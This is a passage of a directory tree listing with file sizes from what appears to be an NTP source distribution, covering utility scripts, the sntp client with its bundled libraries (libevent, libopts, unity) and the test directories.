│ │ │ ├── [4.1K] invoke-ntptrace.texi
│ │ │ ├── [3.1K] Makefile.am
│ │ │ ├── [ 31K] Makefile.in
│ │ │ ├── [3.6K] ntptrace.1ntptraceman
│ │ │ ├── [3.1K] ntptrace.1ntptracemdoc
│ │ │ ├── [7.9K] ntptrace.html
│ │ │ ├── [1.8K] ntptrace.in
│ │ │ ├── [3.6K] ntptrace.man.in
│ │ │ ├── [3.1K] ntptrace.mdoc.in
│ │ │ ├── [1.6K] ntptrace-opts
│ │ │ ├── [2.1K] ntptrace-opts.def
│ │ │ └── [1000] ntptrace.texi
│ │ ├── [ 236] ntpver.in
│ │ ├── [4.0K] ntp-wait
│ │ │ ├── [ 53] invoke-ntp-wait.menu
│ │ │ ├── [3.7K] invoke-ntp-wait.texi
│ │ │ ├── [3.1K] Makefile.am
│ │ │ ├── [ 31K] Makefile.in
│ │ │ ├── [3.4K] ntp-wait.1ntp-waitman
│ │ │ ├── [2.7K] ntp-wait.1ntp-waitmdoc
│ │ │ ├── [8.6K] ntp-wait.html
│ │ │ ├── [1.5K] ntp-wait.in
│ │ │ ├── [3.4K] ntp-wait.man.in
│ │ │ ├── [2.7K] ntp-wait.mdoc.in
│ │ │ ├── [1.6K] ntp-wait-opts
│ │ │ ├── [2.2K] ntp-wait-opts.def
│ │ │ └── [1.4K] ntp-wait.texi
│ │ ├── [3.1K] plot_summary.1plot_summaryman
│ │ ├── [2.6K] plot_summary.1plot_summarymdoc
│ │ ├── [9.4K] plot_summary.html
│ │ ├── [ 10K] plot_summary.in
│ │ ├── [3.1K] plot_summary.man.in
│ │ ├── [2.6K] plot_summary.mdoc.in
│ │ ├── [2.1K] plot_summary-opts
│ │ ├── [2.1K] plot_summary-opts.def
│ │ ├── [1011] plot_summary.texi
│ │ ├── [4.0K] rc
│ │ │ ├── [1.8K] ntpd
│ │ │ ├── [ 179] ntpwait
│ │ │ ├── [4.0K] rc.d
│ │ │ │ ├── [ 570] ntpd
│ │ │ │ ├── [ 346] ntpwait
│ │ │ │ └── [ 260] TIMESYNC
│ │ │ └── [ 666] README
│ │ ├── [1.1K] README
│ │ ├── [4.0K] stats
│ │ │ ├── [ 10K] clock.awk
│ │ │ ├── [ 79] dupe.awk
│ │ │ ├── [ 717] ensemble.awk
│ │ │ ├── [ 377] ensemble.S
│ │ │ ├── [ 521] etf.awk
│ │ │ ├── [ 730] etf.S
│ │ │ ├── [ 546] itf.awk
│ │ │ ├── [ 316] itf.S
│ │ │ ├── [1.2K] loop.awk
│ │ │ ├── [ 372] loop.S
│ │ │ ├── [ 18] loop_summary
│ │ │ ├── [2.1K] peer.awk
│ │ │ ├── [3.4K] psummary.awk
│ │ │ ├── [1.8K] README
│ │ │ ├── [9.1K] README.stats
│ │ │ ├── [5.7K] README.timecodes
│ │ │ ├── [1.8K] summary.sh
│ │ │ ├── [1.1K] tdata.awk
│ │ │ └── [ 303] tdata.S
│ │ ├── [3.0K] summary.1summaryman
│ │ ├── [2.5K] summary.1summarymdoc
│ │ ├── [7.8K] summary.html
│ │ ├── [ 11K] summary.in
│ │ ├── [3.0K] summary.man.in
│ │ ├── [2.5K] summary.mdoc.in
│ │ ├── [2.0K] summary-opts
│ │ ├── [1.9K] summary-opts.def
│ │ ├── [ 936] summary.texi
│ │ └── [4.0K] update-leap
│ │ ├── [ 56] invoke-update-leap.menu
│ │ ├── [8.0K] invoke-update-leap.texi
│ │ ├── [3.3K] Makefile.am
│ │ ├── [ 31K] Makefile.in
│ │ ├── [5.0K] update-leap.1update-leapman
│ │ ├── [4.3K] update-leap.1update-leapmdoc
│ │ ├── [ 14K] update-leap.html
│ │ ├── [ 11K] update-leap.in
│ │ ├── [5.0K] update-leap.man.in
│ │ ├── [4.3K] update-leap.mdoc.in
│ │ ├── [2.1K] update-leap-opts
│ │ ├── [4.2K] update-leap-opts.def
│ │ ├── [ 12K] update-leap.sh
│ │ └── [1.1K] update-leap.texi
│ ├── [4.0K] sntp
│ │ ├── [ 48K] aclocal.m4
│ │ ├── [4.0K] ag-tpl
│ │ │ ├── [4.0K] 0-old
│ │ │ │ ├── [1.9K] agman-cmd.tpl
│ │ │ │ ├── [1.6K] agmdoc-cmd.tpl
│ │ │ │ ├── [ 34K] cmd-doc.tlib
│ │ │ │ ├── [5.4K] mdoc2man
│ │ │ │ ├── [5.1K] mdoc2texi
│ │ │ │ ├── [ 14K] Mdoc.pm
│ │ │ │ ├── [2.8K] mdoc-synopsis.tlib
│ │ │ │ └── [5.0K] perlopt.tpl
│ │ │ ├── [6.3K] mdoc2man
│ │ │ └── [ 15K] Mdoc.pm
│ │ ├── [ 605] bincheck.mf
│ │ ├── [ 342] check-libntp.mf
│ │ ├── [ 350] check-libopts.mf
│ │ ├── [3.6K] compile
│ │ ├── [ 43K] config.guess
│ │ ├── [ 25K] config.h.in
│ │ ├── [ 34K] config.sub
│ │ ├── [903K] configure
│ │ ├── [3.9K] configure.ac
│ │ ├── [ 12K] COPYRIGHT
│ │ ├── [4.0K] crypto.c
│ │ ├── [ 785] crypto.h
│ │ ├── [ 117] data_formats.h
│ │ ├── [ 16K] depcomp
│ │ ├── [ 29] deps-ver
│ │ ├── [2.2K] depsver.mf
│ │ ├── [4.0K] include
│ │ │ ├── [ 141] autogen-version.def
│ │ │ ├── [ 775] copyright.def
│ │ │ ├── [ 565] debug-opt.def
│ │ │ ├── [ 145] homerc.def
│ │ │ ├── [ 428] Makefile.am
│ │ │ ├── [ 16K] Makefile.in
│ │ │ ├── [1014] ntp.lic
│ │ │ ├── [ 21] version.def
│ │ │ └── [ 68] version.texi
│ │ ├── [ 254] includes.mf
│ │ ├── [9.0K] install-sh
│ │ ├── [ 49] invoke-sntp.menu
│ │ ├── [ 15K] invoke-sntp.texi
│ │ ├── [5.5K] kod_management.c
│ │ ├── [ 450] kod_management.h
│ │ ├── [4.0K] libevent
│ │ │ ├── [ 46K] aclocal.m4
│ │ │ ├── [ 13K] arc4random.c
│ │ │ ├── [ 308] autogen.sh
│ │ │ ├── [ 80K] buffer.c
│ │ │ ├── [ 18K] bufferevent_async.c
│ │ │ ├── [ 25K] bufferevent.c
│ │ │ ├── [ 15K] bufferevent_filter.c
│ │ │ ├── [ 17K] bufferevent-internal.h
│ │ │ ├── [ 38K] bufferevent_openssl.c
│ │ │ ├── [9.5K] bufferevent_pair.c
│ │ │ ├── [ 30K] bufferevent_ratelim.c
│ │ │ ├── [ 18K] bufferevent_sock.c
│ │ │ ├── [8.4K] buffer_iocp.c
│ │ │ ├── [4.0K] build-aux
│ │ │ │ ├── [5.7K] ar-lib
│ │ │ │ ├── [3.7K] compile
│ │ │ │ ├── [ 43K] config.guess
│ │ │ │ ├── [ 34K] config.sub
│ │ │ │ ├── [ 18K] depcomp
│ │ │ │ ├── [ 13K] install-sh
│ │ │ │ ├── [277K] ltmain.sh
│ │ │ │ ├── [ 11K] missing
│ │ │ │ ├── [4.5K] test-driver
│ │ │ │ └── [6.0K] ylwrap
│ │ │ ├── [4.5K] changelist-internal.h
│ │ │ ├── [ 69K] ChangeLog
│ │ │ ├── [ 17K] ChangeLog-1.4
│ │ │ ├── [ 81K] ChangeLog-2.0
│ │ │ ├── [4.0K] compat
│ │ │ │ └── [4.0K] sys
│ │ │ │ └── [ 16K] queue.h
│ │ │ ├── [ 14K] config.h.in
│ │ │ ├── [504K] configure
│ │ │ ├── [ 23K] configure.ac
│ │ │ ├── [2.7K] defer-internal.h
│ │ │ ├── [7.7K] devpoll.c
│ │ │ ├── [10.0K] Doxyfile
│ │ │ ├── [ 14K] epoll.c
│ │ │ ├── [2.3K] epoll_sub.c
│ │ │ ├── [ 40K] epolltable-internal.h
│ │ │ ├── [ 13K] evbuffer-internal.h
│ │ │ ├── [1.3K] evconfig-private.h
│ │ │ ├── [1.2K] evconfig-private.h.in
│ │ │ ├── [127K] evdns.c
│ │ │ ├── [ 99K] event.c
│ │ │ ├── [ 17K] event-internal.h
│ │ │ ├── [7.5K] event_iocp.c
│ │ │ ├── [ 54K] event_rpcgen.py
│ │ │ ├── [ 14K] event_tagging.c
│ │ │ ├── [ 28K] evmap.c
│ │ │ ├── [4.8K] evmap-internal.h
│ │ │ ├── [ 12K] evport.c
│ │ │ ├── [ 29K] evrpc.c
│ │ │ ├── [5.6K] evrpc-internal.h
│ │ │ ├── [2.6K] evsignal-internal.h
│ │ │ ├── [ 13K] evthread.c
│ │ │ ├── [ 14K] evthread-internal.h
│ │ │ ├── [4.8K] evthread_pthread.c
│ │ │ ├── [8.4K] evthread_win32.c
│ │ │ ├── [ 68K] evutil.c
│ │ │ ├── [5.2K] evutil_rand.c
│ │ │ ├── [ 16K] evutil_time.c
│ │ │ ├── [ 29K] ht-internal.h
│ │ │ ├── [117K] http.c
│ │ │ ├── [5.8K] http-internal.h
│ │ │ ├── [4.0K] include
│ │ │ │ ├── [2.0K] evdns.h
│ │ │ │ ├── [4.0K] event2
│ │ │ │ │ ├── [4.6K] buffer_compat.h
│ │ │ │ │ ├── [4.4K] bufferevent_compat.h
│ │ │ │ │ ├── [ 33K] bufferevent.h
│ │ │ │ │ ├── [4.7K] bufferevent_ssl.h
│ │ │ │ │ ├── [4.0K] bufferevent_struct.h
│ │ │ │ │ ├── [ 38K] buffer.h
│ │ │ │ │ ├── [ 12K] dns_compat.h
│ │ │ │ │ ├── [ 26K] dns.h
│ │ │ │ │ ├── [2.5K] dns_struct.h
│ │ │ │ │ ├── [7.5K] event_compat.h
│ │ │ │ │ ├── [ 61K] event.h
│ │ │ │ │ ├── [4.9K] event_struct.h
│ │ │ │ │ ├── [3.1K] http_compat.h
│ │ │ │ │ ├── [ 41K] http.h
│ │ │ │ │ ├── [4.7K] http_struct.h
│ │ │ │ │ ├── [2.5K] keyvalq_struct.h
│ │ │ │ │ ├── [7.3K] listener.h
│ │ │ │ │ ├── [2.3K] rpc_compat.h
│ │ │ │ │ ├── [ 21K] rpc.h
│ │ │ │ │ ├── [3.2K] rpc_struct.h
│ │ │ │ │ ├── [2.1K] tag_compat.h
│ │ │ │ │ ├── [4.8K] tag.h
│ │ │ │ │ ├── [9.7K] thread.h
│ │ │ │ │ ├── [ 27K] util.h
│ │ │ │ │ └── [2.3K] visibility.h
│ │ │ │ ├── [2.7K] event.h
│ │ │ │ ├── [2.0K] evhttp.h
│ │ │ │ ├── [2.0K] evrpc.h
│ │ │ │ ├── [1.7K] evutil.h
│ │ │ │ └── [1.4K] include.am
│ │ │ ├── [7.5K] iocp-internal.h
│ │ │ ├── [2.5K] ipv6-internal.h
│ │ │ ├── [ 14K] kqueue.c
│ │ │ ├── [1.9K] kqueue-internal.h
│ │ │ ├── [ 372] libevent_openssl.pc.in
│ │ │ ├── [ 317] libevent.pc.in
│ │ │ ├── [ 384] libevent_pthreads.pc.in
│ │ │ ├── [4.4K] LICENSE
│ │ │ ├── [ 21K] listener.c
│ │ │ ├── [5.5K] log.c
│ │ │ ├── [3.1K] log-internal.h
│ │ │ ├── [4.0K] m4
│ │ │ │ ├── [ 104] ac_backport_259_ssizet.m4
│ │ │ │ ├── [ 11K] acx_pthread.m4
│ │ │ │ ├── [1.2K] libevent_openssl.m4
│ │ │ │ ├── [274K] libtool.m4
│ │ │ │ ├── [6.0K] lt~obsolete.m4
│ │ │ │ ├── [ 12K] ltoptions.m4
│ │ │ │ ├── [4.3K] ltsugar.m4
│ │ │ │ ├── [ 690] ltversion.m4
│ │ │ │ └── [ 673] ntp_pkg_config.m4
│ │ │ ├── [ 588] make-event-config.sed
│ │ │ ├── [8.3K] Makefile.am
│ │ │ ├── [130K] Makefile.in
│ │ │ ├── [2.3K] Makefile.nmake
│ │ │ ├── [6.8K] minheap-internal.h
│ │ │ ├── [3.3K] mm-internal.h
│ │ │ ├── [8.0K] poll.c
│ │ │ ├── [4.0K] ratelim-internal.h
│ │ │ ├── [8.5K] select.c
│ │ │ ├── [ 12K] signal.c
│ │ │ ├── [2.5K] strlcpy.c
│ │ │ ├── [ 366] strlcpy-internal.h
│ │ │ ├── [4.0K] test
│ │ │ │ ├── [4.9K] bench.c
│ │ │ │ ├── [4.6K] bench_cascade.c
│ │ │ │ ├── [4.8K] bench_http.c
│ │ │ │ ├── [5.8K] bench_httpclient.c
│ │ │ │ ├── [1.5K] check-dumpevents.py
│ │ │ │ ├── [4.1K] include.am
│ │ │ │ ├── [2.5K] Makefile.nmake
│ │ │ │ ├── [ 65K] regress_buffer.c
│ │ │ │ ├── [ 31K] regress_bufferevent.c
│ │ │ │ ├── [ 79K] regress.c
│ │ │ │ ├── [ 58K] regress_dns.c
│ │ │ │ ├── [5.9K] regress_et.c
│ │ │ │ ├── [8.6K] regress_finalize.c
│ │ │ │ ├── [ 2] regress.gen.c
│ │ │ │ ├── [ 25] regress.gen.h
│ │ │ │ ├── [4.8K] regress.h
│ │ │ │ ├── [104K] regress_http.c
│ │ │ │ ├── [8.8K] regress_iocp.c
│ │ │ │ ├── [6.1K] regress_listener.c
│ │ │ │ ├── [ 12K] regress_main.c
│ │ │ │ ├── [2.9K] regress_minheap.c
│ │ │ │ ├── [ 465] regress.rpc
│ │ │ │ ├── [ 20K] regress_rpc.c
│ │ │ │ ├── [ 13K] regress_ssl.c
│ │ │ │ ├── [6.2K] regress_testutils.c
│ │ │ │ ├── [2.5K] regress_testutils.h
│ │ │ │ ├── [ 15K] regress_thread.c
│ │ │ │ ├── [2.1K] regress_thread.h
│ │ │ │ ├── [ 35K] regress_util.c
│ │ │ │ ├── [8.5K] regress_zlib.c
│ │ │ │ ├── [1.5K] rpcgen_wrapper.sh
│ │ │ │ ├── [5.8K] test-changelist.c
│ │ │ │ ├── [3.3K] test-closed.c
│ │ │ │ ├── [5.6K] test-dumpevents.c
│ │ │ │ ├── [3.1K] test-eof.c
│ │ │ │ ├── [6.8K] test-fdleak.c
│ │ │ │ ├── [2.1K] test-init.c
│ │ │ │ ├── [ 17K] test-ratelim.c
│ │ │ │ ├── [2.9K] test.sh
│ │ │ │ ├── [3.0K] test-time.c
│ │ │ │ ├── [3.0K] test-weof.c
│ │ │ │ ├── [ 12K] tinytest.c
│ │ │ │ ├── [4.2K] tinytest.h
│ │ │ │ ├── [ 170] tinytest_local.h
│ │ │ │ └── [7.0K] tinytest_macros.h
│ │ │ ├── [3.0K] time-internal.h
│ │ │ ├── [ 15K] util-internal.h
│ │ │ ├── [ 26K] whatsnew-2.0.txt
│ │ │ ├── [ 30K] whatsnew-2.1.txt
│ │ │ ├── [4.0K] WIN32-Code
│ │ │ │ ├── [4.0K] nmake
│ │ │ │ │ ├── [ 150] evconfig-private.h
│ │ │ │ │ └── [4.0K] event2
│ │ │ │ │ └── [ 11K] event-config.h
│ │ │ │ └── [ 22K] tree.h
│ │ │ └── [ 10K] win32select.c
│ │ ├── [4.0K] libopts
│ │ │ ├── [ 27K] ag-char-map.h
│ │ │ ├── [3.3K] alias.c
│ │ │ ├── [ 14K] ao-strs.c
│ │ │ ├── [ 14K] ao-strs.h
│ │ │ ├── [4.0K] autoopts
│ │ │ │ ├── [ 44K] options.h
│ │ │ │ ├── [2.0K] project.h
│ │ │ │ └── [ 30K] usage-txt.h
│ │ │ ├── [ 12K] autoopts.c
│ │ │ ├── [ 13K] autoopts.h
│ │ │ ├── [2.5K] boolean.c
│ │ │ ├── [4.8K] check.c
│ │ │ ├── [4.0K] compat
│ │ │ │ ├── [8.2K] compat.h
│ │ │ │ ├── [ 306] _Noreturn.h
│ │ │ │ ├── [7.5K] pathfind.c
│ │ │ │ ├── [1.2K] snprintf.c
│ │ │ │ ├── [1.3K] strchr.c
│ │ │ │ ├── [ 310] strdup.c
│ │ │ │ └── [3.6K] windows-config.h
│ │ │ ├── [ 36K] configfile.c
│ │ │ ├── [9.2K] cook.c
│ │ │ ├── [ 34K] COPYING.gplv3
│ │ │ ├── [7.5K] COPYING.lgplv3
│ │ │ ├── [1.4K] COPYING.mbsd
│ │ │ ├── [ 18K] enum.c
│ │ │ ├── [7.2K] env.c
│ │ │ ├── [5.7K] file.c
│ │ │ ├── [ 22K] find.c
│ │ │ ├── [ 31K] genshell.c
│ │ │ ├── [7.8K] genshell.h
│ │ │ ├── [9.8K] gettext.h
│ │ │ ├── [8.4K] init.c
│ │ │ ├── [ 15K] intprops.h
│ │ │ ├── [1.1K] libopts.c
│ │ │ ├── [ 16K] load.c
│ │ │ ├── [4.0K] m4
│ │ │ │ ├── [ 781] liboptschk.m4
│ │ │ │ ├── [ 20K] libopts.m4
│ │ │ │ └── [1.4K] stdnoreturn.m4
│ │ │ ├── [ 0] MakeDefs.inc
│ │ │ ├── [2.4K] Makefile.am
│ │ │ ├── [ 28K] Makefile.in
│ │ │ ├── [ 24K] makeshell.c
│ │ │ ├── [ 24K] nested.c
│ │ │ ├── [5.1K] numeric.c
│ │ │ ├── [5.5K] option-value-type.c
│ │ │ ├── [2.4K] option-value-type.h
│ │ │ ├── [5.0K] option-xat-attribute.c
│ │ │ ├── [2.3K] option-xat-attribute.h
│ │ │ ├── [ 12K] parse-duration.c
│ │ │ ├── [3.3K] parse-duration.h
│ │ │ ├── [4.9K] pgusage.c
│ │ │ ├── [2.7K] proto.h
│ │ │ ├── [ 15K] putshell.c
│ │ │ ├── [4.8K] README
│ │ │ ├── [3.8K] reset.c
│ │ │ ├── [6.8K] restore.c
│ │ │ ├── [ 21K] save.c
│ │ │ ├── [9.8K] sort.c
│ │ │ ├── [7.2K] stack.c
│ │ │ ├── [1.8K] stdnoreturn.in.h
│ │ │ ├── [8.1K] streqvcmp.c
│ │ │ ├── [ 11K] text_mmap.c
│ │ │ ├── [3.8K] time.c
│ │ │ ├── [9.0K] tokenize.c
│ │ │ ├── [ 38K] usage.c
│ │ │ └── [6.1K] version.c
│ │ ├── [4.0K] libpkgver
│ │ │ ├── [2.6K] colcomp.c
│ │ │ └── [ 704] pkgver.h
│ │ ├── [4.0K] loc
│ │ │ ├── [ 255] darwin
│ │ │ ├── [ 291] debian
│ │ │ ├── [ 248] freebsd
│ │ │ ├── [ 282] legacy
│ │ │ ├── [ 247] netbsd
│ │ │ ├── [ 741] README
│ │ │ ├── [ 285] redhat
│ │ │ └── [ 306] solaris
│ │ ├── [ 754] log.c
│ │ ├── [ 518] log.h
│ │ ├── [276K] ltmain.sh
│ │ ├── [4.0K] m4
│ │ │ ├── [1.6K] ax_c99_struct_init.m4
│ │ │ ├── [1.2K] define_dir.m4
│ │ │ ├── [ 701] hms_search_lib.m4
│ │ │ ├── [274K] libtool.m4
│ │ │ ├── [6.0K] lt~obsolete.m4
│ │ │ ├── [ 12K] ltoptions.m4
│ │ │ ├── [4.3K] ltsugar.m4
│ │ │ ├── [ 690] ltversion.m4
│ │ │ ├── [4.1K] ntp_cacheversion.m4
│ │ │ ├── [4.9K] ntp_compiler.m4
│ │ │ ├── [ 300] ntp_crosscompile.m4
│ │ │ ├── [1.4K] ntp_crypto_rand.m4
│ │ │ ├── [ 549] ntp_debug.m4
│ │ │ ├── [ 589] ntp_dir_sep.m4
│ │ │ ├── [ 797] ntp_facilitynames.m4
│ │ │ ├── [1.4K] ntp_googletest.m4
│ │ │ ├── [ 11K] ntp_ipv6.m4
│ │ │ ├── [6.0K] ntp_libevent.m4
│ │ │ ├── [ 388] ntp_lib_m.m4
│ │ │ ├── [ 24K] ntp_libntp.m4
│ │ │ ├── [2.9K] ntp_lineeditlibs.m4
│ │ │ ├── [3.2K] ntp_locinfo.m4
│ │ │ ├── [8.9K] ntp_openssl.m4
│ │ │ ├── [ 673] ntp_pkg_config.m4
│ │ │ ├── [1.7K] ntp_problemtests.m4
│ │ │ ├── [ 546] ntp_prog_cc.m4
│ │ │ ├── [2.6K] ntp_rlimit.m4
│ │ │ ├── [ 643] ntp_sntp.m4
│ │ │ ├── [ 352] ntp_sysexits.m4
│ │ │ ├── [ 531] ntp_unitytest.m4
│ │ │ ├── [ 404] ntp_ver_suffix.m4
│ │ │ ├── [1.5K] ntp_vpathhack.m4
│ │ │ ├── [ 32K] openldap.m4
│ │ │ ├── [ 19K] openldap-thread-check.m4
│ │ │ ├── [3.3K] os_cflags.m4
│ │ │ ├── [ 11K] snprintf.m4
│ │ │ ├── [1.3K] sntp_problemtests.m4
│ │ │ └── [ 38] version.m4
│ │ ├── [ 34K] main.c
│ │ ├── [ 875] main.h
│ │ ├── [7.7K] Makefile.am
│ │ ├── [ 57K] Makefile.in
│ │ ├── [ 11K] missing
│ │ ├── [7.1K] networking.c
│ │ ├── [3.2K] networking.h
│ │ ├── [ 7] scm-rev
│ │ ├── [4.0K] scripts
│ │ │ ├── [3.3K] cvo.sh
│ │ │ ├── [4.3K] genLocInfo
│ │ │ ├── [ 80] Makefile.am
│ │ │ ├── [ 16K] Makefile.in
│ │ │ └── [ 774] mansec2subst.sed
│ │ ├── [ 12K] sntp.1sntpman
│ │ ├── [ 11K] sntp.1sntpmdoc
│ │ ├── [ 125] sntp.c
│ │ ├── [ 27K] sntp.html
│ │ ├── [ 12K] sntp.man.in
│ │ ├── [ 11K] sntp.mdoc.in
│ │ ├── [ 57K] sntp-opts.c
│ │ ├── [8.6K] sntp-opts.def
│ │ ├── [ 12K] sntp-opts.h
│ │ ├── [2.4K] sntp.texi
│ │ ├── [4.0K] tests
│ │ │ ├── [3.5K] crypto.c
│ │ │ ├── [4.0K] data
│ │ │ │ ├── [ 259] debug-input-lfp-bin
│ │ │ │ ├── [ 217] debug-input-lfp-dec
│ │ │ │ ├── [ 499] debug-input-pkt
│ │ │ │ ├── [ 38] key-test-ascii
│ │ │ │ ├── [ 175] key-test-comments
│ │ │ │ ├── [ 0] key-test-empty
│ │ │ │ ├── [ 106] key-test-hex
│ │ │ │ ├── [ 76] key-test-invalid-hex
│ │ │ │ ├── [ 98] kod-expected-multiple
│ │ │ │ ├── [ 28] kod-expected-single
│ │ │ │ ├── [ 103] kod-test-blanks
│ │ │ │ ├── [ 66] kod-test-correct
│ │ │ │ └── [ 0] kod-test-empty
│ │ │ ├── [1.5K] fileHandlingTest.c
│ │ │ ├── [ 582] fileHandlingTest.h.in
│ │ │ ├── [4.2K] keyFile.c
│ │ │ ├── [3.0K] kodDatabase.c
│ │ │ ├── [3.8K] kodFile.c
│ │ │ ├── [5.4K] Makefile.am
│ │ │ ├── [ 60K] Makefile.in
│ │ │ ├── [ 88] networking.c
│ │ │ ├── [6.9K] packetHandling.c
│ │ │ ├── [10.0K] packetProcessing.c
│ │ │ ├── [1.4K] run-crypto.c
│ │ │ ├── [1.4K] run-keyFile.c
│ │ │ ├── [1.5K] run-kodDatabase.c
│ │ │ ├── [1.5K] run-kodFile.c
│ │ │ ├── [ 974] run-networking.c
│ │ │ ├── [2.0K] run-packetHandling.c
│ │ │ ├── [2.6K] run-packetProcessing.c
│ │ │ ├── [1.2K] run-t-log.c
│ │ │ ├── [1.5K] run-utilities.c
│ │ │ ├── [ 505] sntptest.c
│ │ │ ├── [ 222] sntptest.h
│ │ │ ├── [ 331] tests-runner
│ │ │ ├── [2.2K] t-log.c
│ │ │ └── [4.4K] utilities.c
│ │ ├── [4.0K] unity
│ │ │ ├── [4.0K] auto
│ │ │ │ ├── [2.6K] colour_prompt.rb
│ │ │ │ ├── [1.0K] colour_reporter.rb
│ │ │ │ ├── [1.2K] generate_config.yml
│ │ │ │ ├── [7.2K] generate_module.rb
│ │ │ │ ├── [ 13K] generate_test_runner.rb
│ │ │ │ ├── [6.4K] parseOutput.rb
│ │ │ │ ├── [1021] runner_maybe.c
│ │ │ │ ├── [ 780] test_file_filter.rb
│ │ │ │ ├── [ 212] type_sanitizer.rb
│ │ │ │ ├── [4.9K] unity_test_summary.py
│ │ │ │ └── [4.2K] unity_test_summary.rb
│ │ │ ├── [ 529] Makefile.am
│ │ │ ├── [ 30K] Makefile.in
│ │ │ ├── [ 38K] unity.c
│ │ │ ├── [ 189] unity_config.h
│ │ │ ├── [8.2K] unity_fixture.c
│ │ │ ├── [3.2K] unity_fixture.h
│ │ │ ├── [1.4K] unity_fixture_internals.h
│ │ │ ├── [ 756] unity_fixture_malloc_overrides.h
│ │ │ ├── [ 33K] unity.h
│ │ │ └── [ 40K] unity_internals.h
│ │ ├── [3.6K] utilities.c
│ │ ├── [ 754] utilities.h
│ │ └── [ 134] version.c
│ ├── [4.0K] tests
│ │ ├── [4.0K] bug-2803
│ │ │ ├── [2.7K] bug-2803.c
│ │ │ ├── [1.6K] Makefile.am
│ │ │ ├── [ 40K] Makefile.in
│ │ │ └── [1.1K] run-bug-2803.c
│ │ ├── [4.0K] libntp
│ │ │ ├── [2.6K] a_md5encrypt.c
│ │ │ ├── [1.2K] atoint.c
│ │ │ ├── [ 944] atouint.c
│ │ │ ├── [3.2K] authkeys.c
│ │ │ ├── [1.9K] buftvtots.c
│ │ │ ├── [ 15K] calendar.c
│ │ │ ├── [2.9K] caljulian.c
│ │ │ ├── [1.3K] caltontp.c
│ │ │ ├── [1.2K] calyearstart.c
│ │ │ ├── [5.3K] clocktime.c
│ │ │ ├── [3.1K] decodenetnum.c
│ │ │ ├── [1.2K] hextoint.c
│ │ │ ├── [1.6K] hextolfp.c
│ │ │ ├── [ 827] humandate.c
│ │ │ ├── [ 13K] lfpfunc.c
│ │ │ ├── [ 198] lfptest.c
│ │ │ ├── [ 456] lfptest.h
│ │ │ ├── [3.5K] lfptostr.c
│ │ │ ├── [ 11K] Makefile.am
│ │ │ ├── [115K] Makefile.in
│ │ │ ├── [ 425] modetoa.c
│ │ │ ├── [3.6K] msyslog.c
│ │ │ ├── [2.1K] netof.c
│ │ │ ├── [ 591] numtoa.c
│ │ │ ├── [ 495] numtohost.c
│ │ │ ├── [1.3K] octtoint.c
│ │ │ ├── [ 459] prettydate.c
│ │ │ ├── [ 983] recvbuff.c
│ │ │ ├── [2.8K] refidsmear.c
│ │ │ ├── [1.6K] refnumtoa.c
│ │ │ ├── [1.3K] run-a_md5encrypt.c
│ │ │ ├── [1.5K] run-atoint.c
│ │ │ ├── [1.4K] run-atouint.c
│ │ │ ├── [1.5K] run-authkeys.c
│ │ │ ├── [1.3K] run-buftvtots.c
│ │ │ ├── [2.1K] run-calendar.c
│ │ │ ├── [1.3K] run-caljulian.c
│ │ │ ├── [1.2K] run-caltontp.c
│ │ │ ├── [1.2K] run-calyearstart.c
│ │ │ ├── [1.6K] run-clocktime.c
│ │ │ ├── [1.4K] run-decodenetnum.c
│ │ │ ├── [1.3K] run-hextoint.c
│ │ │ ├── [1.4K] run-hextolfp.c
│ │ │ ├── [1.1K] run-humandate.c
│ │ │ ├── [1.6K] run-lfpfunc.c
│ │ │ ├── [1.9K] run-lfptostr.c
│ │ │ ├── [1.1K] run-modetoa.c
│ │ │ ├── [1.6K] run-msyslog.c
│ │ │ ├── [1.3K] run-netof.c
│ │ │ ├── [1.1K] run-numtoa.c
│ │ │ ├── [1.0K] run-numtohost.c
│ │ │ ├── [1.4K] run-octtoint.c
│ │ │ ├── [1.0K] run-prettydate.c
│ │ │ ├── [1.1K] run-recvbuff.c
│ │ │ ├── [1.1K] run-refidsmear.c
│ │ │ ├── [1.1K] run-refnumtoa.c
│ │ │ ├── [1.7K] run-sfptostr.c
│ │ │ ├── [1.5K] run-socktoa.c
│ │ │ ├── [1.4K] run-ssl_init.c
│ │ │ ├── [1.3K] run-statestr.c
│ │ │ ├── [1.5K] run-strtolfp.c
│ │ │ ├── [2.9K] run-timespecops.c
│ │ │ ├── [2.9K] run-timevalops.c
│ │ │ ├── [1.3K] run-tsafememcmp.c
│ │ │ ├── [1.2K] run-tstotv.c
│ │ │ ├── [1.2K] run-tvtots.c
│ │ │ ├── [1.0K] run-uglydate.c
│ │ │ ├── [1.2K] run-vi64ops.c
│ │ │ ├── [1.2K] run-ymd2yd.c
│ │ │ ├── [2.5K] sfptostr.c
│ │ │ ├── [1.3K] sockaddrtest.c
│ │ │ ├── [ 288] sockaddrtest.h
│ │ │ ├── [3.3K] socktoa.c
│ │ │ ├── [1.4K] ssl_init.c
│ │ │ ├── [ 771] statestr.c
│ │ │ ├── [2.8K] strtolfp.c
│ │ │ ├── [ 439] test-libntp.c
│ │ │ ├── [ 174] test-libntp.h
│ │ │ ├── [ 16K] timespecops.c
│ │ │ ├── [ 16K] timevalops.c
│ │ │ ├── [1.8K] tsafememcmp.c
│ │ │ ├── [1.1K] tstotv.c
│ │ │ ├── [1.4K] tvtots.c
│ │ │ ├── [ 428] uglydate.c
│ │ │ ├── [1.6K] vi64ops.c
│ │ │ └── [ 731] ymd2yd.c
│ │ ├── [ 108] Makefile.am
│ │ ├── [ 23K] Makefile.in
│ │ ├── [4.0K] ntpd
│ │ │ ├── [ 36K] leapsec.c
│ │ │ ├── [4.5K] Makefile.am
│ │ │ ├── [ 87K] Makefile.in
│ │ │ ├── [5.9K] ntp_prio_q.c
│ │ │ ├── [5.4K] ntp_restrict.c
│ │ │ ├── [1004] rc_cmdlength.c
│ │ │ ├── [3.6K] run-leapsec.c
│ │ │ ├── [1.6K] run-ntp_prio_q.c
│ │ │ ├── [1.7K] run-ntp_restrict.c
│ │ │ ├── [1.1K] run-rc_cmdlength.c
│ │ │ ├── [1.7K] run-t-ntp_scanner.c
│ │ │ ├── [1.5K] run-t-ntp_signd.c
│ │ │ ├── [3.0K] t-ntp_scanner.c
│ │ │ └── [3.2K] t-ntp_signd.c
│ │ ├── [4.0K] ntpq
│ │ │ ├── [1.8K] Makefile.am
│ │ │ ├── [ 41K] Makefile.in
│ │ │ ├── [1019] run-t-ntpq.c
│ │ │ └── [ 481] t-ntpq.c
│ │ ├── [4.0K] sandbox
│ │ │ ├── [2.5K] bug-2803.c
│ │ │ ├── [2.0K] Makefile.am
│ │ │ ├── [ 43K] Makefile.in
│ │ │ ├── [ 421] modetoa.c
